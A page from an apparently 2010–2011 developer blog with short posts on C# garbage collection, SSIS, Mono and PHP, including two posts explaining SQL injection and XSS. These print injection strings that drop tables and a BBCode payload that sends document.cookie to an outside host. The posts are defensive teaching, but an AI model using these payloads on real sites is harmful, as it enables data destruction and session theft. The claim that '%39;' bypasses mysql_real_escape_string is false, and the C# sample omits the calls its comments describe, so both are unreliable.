Random Findings as a Developer

May 11, 2011

Objects Remaining in Memory

Filed under: C#,Programming Languages — Andrew @ 5:37 pm

I was implementing an image resizer and I kept running into a problem where I kept getting error messages saying that the image file was in use even after I disposed of the object in memory (the last step was to remove the unresized image).

Calling object.Dispose() is just a suggestion to say “whenever you want, we don’t need this in memory anymore”. However, because it doesn’t get rid of it immediately, meaning that it is still being referenced which means that the file won’t be able to be deleted immediately.

In order to get around this, you need to call the garbage collector yourself to force the application to get rid of the object from memory.

The Code:

string dest = @"C:\";
FileInfo imageFile = new FileInfo(file);
Image image = ResizeImage(Image.FromFile(file),size);
// Save the file to the file system
SaveAsJpeg(image, dest + imageFile.Name, 100);
// We don't need the image in memory any more (suggest it to be deleted)
// Call the garbage collector
// Delete the old file

May 8, 2011

Windows Backup

Filed under: Microsoft Windows — Andrew @ 5:09 pm

I started using Windows 7 a lot more recently (due to work) and I found that my system would go down every so often after installing a Windows update (the most recent happened today, the day after I installed the update).

The only saving grace now is Windows Backup. I have set it to run every Sunday night and it basically takes an image of all modifications to my C:\ drive and backs it to my secondary drive. Now when a Windows update chooses to have it’s way with my computer, I am able to pop in the recovery CD and have it restore. Yes, it takes a while to run, but I don’t need to format and re-install everything again (a few days worth of installing different versions of Visual Studio and SQL Server).

Import Ignoring the last line of a CSV file

Filed under: SSIS — Andrew @ 11:05 am

I ran into a weird issue this morning when trying to load some segment files.

Data File Preview returns the 58 rows which I expected.
Data Viewer returns 57 rows which was not expected.

I tried to redirect any error rows to a flat file, but no success, there were no rows being emitted to the flat file.

I checked in the warnings and saw the following:
[File Connection [1]] Warning: There is a partial row at the end of the file.

I double and triple checked that it had all of the columns (or commas) available. They were all there (why wouldn’t it be? Excel makes valid CSV files).

When I tried to add an empty row in (a row with 13 commas) it was attaching it to the last column which seemed very odd to me. However when I gave it some text, it would capture it as a new row (which is the removed because of the last row vanishing).

It turns out that the row delimiter was messed up. It said “_x003C_none_x003E_” instead of the normal “<none>”.

After changing it back to “” it worked as expected. Very weird.

Hopefully this will stop you from scratching your head and wondering why a single row is randomly being removed from the dataset without rhyme/reason.

May 4, 2011

Hosting ASP.NET projects on a Linux Server

Filed under: C# — Andrew @ 6:47 pm

The other day, I was bored and was curious if whether or not I was able to host an ASP.NET on my home desktop’s Ubuntu box.  After researching, I found out that there was an entire open source project pertaining to this exact thing.

I won’t go into much detail about it, but if you are curious search for the ASP.NET Mono Project for more details.

The major issue that I had when setting it up was getting MonoDevelop to install and run.  The other issue was that the JavaScript postback when I was trying to host an ASP.NET 4.0 MVC project however when I went to a ASP 3.5 project, everything worked perfectly.  I will have to look more into why the ASP.NET 4.0 MVC application wasn’t working, but so far I’m happy with it :).

May 29, 2010

PHP – Dynamic Type Upconverting

Filed under: PHP — Andrew @ 2:05 am

Just because PHP allows you to do something, doesn’t mean that it is the best thing to do.  For example, PHP will automatically convert single word strings (non-quote/apostrophe delimited) into an actual string if required.

    $arr = array ();
    for ( $x = 0; $x < 1000000; $x++ )
        $arr [ foo ] = 'bar';

In this case, PHP will automatically convert foo to the string ‘foo’. However, this up conversion doesn’t come without a cost. For example, when timing the use of this script, the following are the results:

$ time php test.php 

real    0m1.641s
user    0m1.424s
sys     0m0.044s

However, when running the following script and not forcing it to up convert, the results are extremely different.

    $arr = array ();
    for ( $x = 0; $x < 1000000; $x++ )
        $arr [ 'foo' ] = 'bar';

In this case, the word ‘foo’ is already pre-defined as a string, so no up conversion is required. The time for this is as follows:

$ time php test.php 

real    0m0.467s
user    0m0.292s
sys     0m0.052s

As you can see, by including the quotes and telling PHP that it actually is a string, you can potentially reduce the execution time for your PHP scripts.

Keep this in mind when using the associative arrays in PHP.

May 6, 2010

User’s Input – Never Trust It!

Filed under: PHP — Andrew @ 5:58 am

I must first start this post with a comic on the topic … it comes from xkcd.com.

Exploits of a Mom

Anyways, this shows buy essay one of the many reasons why one should never trust any input from a user. This means that you should assume that all users have malicious intent and are attempting to break into your site. Of course, this is not always the case however, when it is, bad things can happen all around.

No matter how you are getting data from the user, be it through an input field, URL, hidden field, drop down list etc. users are able to change the information to better suit their attacking desires. This means always make sure that the data is within the bounds of what is expected!

What are some examples of bad things which can happen from the user of exploits?

I have listed two of the more common threats which I see on a day-to-day basis.

  • SQL Injection – As portrayed in the comic from XKCD, if the correct security precautions are not in place, anything which is stored in your database can be eliminated within seconds or worse, modified in a manner you are not able to notice until it’s too late. For example, if one is working on a website which has a built-in ‘karma’ system where the higher ‘karma’ a user has, the more things they are allowed to do on the site. If the website allows for SQL injection (accidentally of course), what is to stop the user from slowly increasing their ‘karma’ at a gradual rate until they have increased it so much that they are now in a new ‘karma’ category. Would this be noticeable? Probably not. Either way, if the user attacker truncates or deletes your tables, or even updates their records a bit to get more out of the site than they have achieved, these are all bad things which could happen … and can easily be prevented by becoming aware of what is going on around you.
  • Cross Site Scripting (XSS) – Security flaws unintentional coded into applications which will allow the user to inject special code onto a site which can be extremely detrimental to any site. A simple example of XSS would be a cookie grabber. A fair number of the cookie grabbers I have seen come from the use of BBCode and the lack of proper validation for it. The theory behind a simple cookie grabber is that it will use any pre-existing javascript on the site (or use it’s own) in order to send site-specific information to a different source. However, cookie grabbers are not the only problems from XSS. If the correct precautions are not in place the use of PHP’s “include” or “require” function can have your site acting as a portal through the internet for anybody to use as they please. Similar to SQL injection, this can be prevented with the proper knowledge.


SQL Injection

Just say you have a form where you allow the user to select how many records they want to display:

<form method = "post" action = "results.php">
How many records should be displayed?
  <select type = 'text' name = 'count'>
    <option value = '5'>5</option>
    <option value = '10'>10</option>
    <option value = '15'>15</option>
  <input type = 'submit' />

The form will look something like this:

How many records should be displayed?

And the back end of your application looks something like this:

    $query = "SELECT * FROM `news` LIMIT " . $_POST [ 'count' ];
    $res = mysql_query ( $query );

What is to stop the user from modifying one of the values in the drop down list to:

5; DROP TABLE `news`;

Nothing! However, if you don’t prevent such a thing from being allowed in your query (i.e. not doing enough data validation), after the user runs that query, your entire ‘news’ table will be dropped from the system, which was probably not what was originally intended for the script.

I have mentioned this method of prevention before, and I’ll mention it again, SQL prepared statements. If data is sent in as a parameter rather than as a direct part of the query, there are no chances that the query may be mistaken and have two queries execute instead of one.

Cross Site Scripting (XSS)

These security vulnerabilities can be fairly hard to track down, however there is always a way.

Simple XSS

Just say you have your URLs as something like this:


Where in your actual PHP script you have a server side include for whatever value was passed in through $_GET. Well, this is opening up an entirely new can of worms. Yes it works for pages which are on your server, however, it will also work for sites which are off site if you are not careful in your validation.

Sample Code:

If I were to change the URL from:




By default, PHP will not think anything of it. It will treat the website as a file stream just as it does the ‘temp.php’ which was originally passed in. And low and behold, somebody is now using your site to access Google.

Lesson: validate and verify that the file exists LOCALLY before running the include.

Cookie Grabber

Since cookies are only accessible on the site which they are associated with, cookie grabbers must use this in order to get the information they need. A fair number of implementations of BBCode which I have seen have allowed for gaping holes because of this.

For example, most implementations use regular expressions in order to pick up on the required information (which is what they should be used for). However, since urls and things can have a large number of characters, most programmers choose to use the greedy approach and use the ‘anything but newline character’ (the period).

Regex (something similar to this, as I cannot remember the exact regular expression):


This regular expression will then be replaced in the emitted HTML code to be:

<img src = "$1">

This is all fine and dandy, and it picks up what is required however, it also has the ability to pick up more than expected and/or desired.

For example, if the following was provided it would allow the user to gain access to the cookies which are for a particular site.

[img=http://www.google.ca/logos/gabor10-hp.png" onclick="document.location.href='http://some_other_url.com/cookies.php?cookie='+document.cookie]

This has the potential for changing the emitted HTML into becoming:

<img src = "http://www.google.ca/logos/gabor10-hp.png" onclick="document.location.href='http://some_other_url.com/cookies.php?cookie='+document.cookie">

Effectively causing your web browser to relocate to a different URL with your cookie in the link which they will then log for future use.

Of course, if a little extra time was spent in the sanitation of the input problems like this can be filtered out.

Summary: In summary, never ever ever trust user’s input. It will only lead you towards worlds of pain.

Hope this helps!

Buy a essay paper
Buy essay discount codes

May 3, 2010

PHP – The use of mysql_real_escape_string

Filed under: PHP — Andrew @ 1:02 am

I have recently seen posted numerous times that if you run the function ‘mysql_real_escape_string’ on any data, you are then automatically safe from SQL injection.

Well, this isn’t the case at all …

To start, let’s look at what php’s documentation about ‘mysql_real_escape_string’ says: php.net

Escapes special characters in the unescaped_string, taking into account the current character set of the connection so that it is safe to place it in a mysql_query(). If binary data is to be inserted, this function must be used.

mysql_real_escape_string() calls MySQL’s library function mysql_real_escape_string, which prepends backslashes to the following characters: \x00, \n, \r, \, ‘, ” and \x1a.

This function must always (with few exceptions) be used to make data safe before sending a query to MySQL.

So, not only does it force you to have the mysql connection (why is this really needed for just escaping a few characters?), it just adds a ‘\’ before some of the characters which could break a query. This is because lots of people write queries as follows:

$query = "SELECT `user_id`, `username`, `startdate` FROM `users` WHERE `username` = '$username'";

However, if $username contains “blarg’; DROP TABLE `users`; –”, then mysql_real_escape_string will change it to “blarg\’; DROP TABLE `users`; –” which will not break the query (so the users table will not be dropped).

But if the attacker was smarter and used a different representation of it by using %39; (hexadecimal value for ‘), mysql_real_escape_string will not touch it, so it will go into your query and inconveniently drop your table.

This small example shows the the use of ‘mysql_real_escape_string’ is ineffective in preventing against SQL injection.

Instead of using ‘mysql_real_escape_string’ I would strongly suggest the use of database parameters (prepared statements) for all queries, or create a way which will convert from the %39; to their corresponding values (i.e. html special chars decode) just to make sure that characters you don’t want to be in there don’t sneak in.

« Newer Posts

Powered by WordPress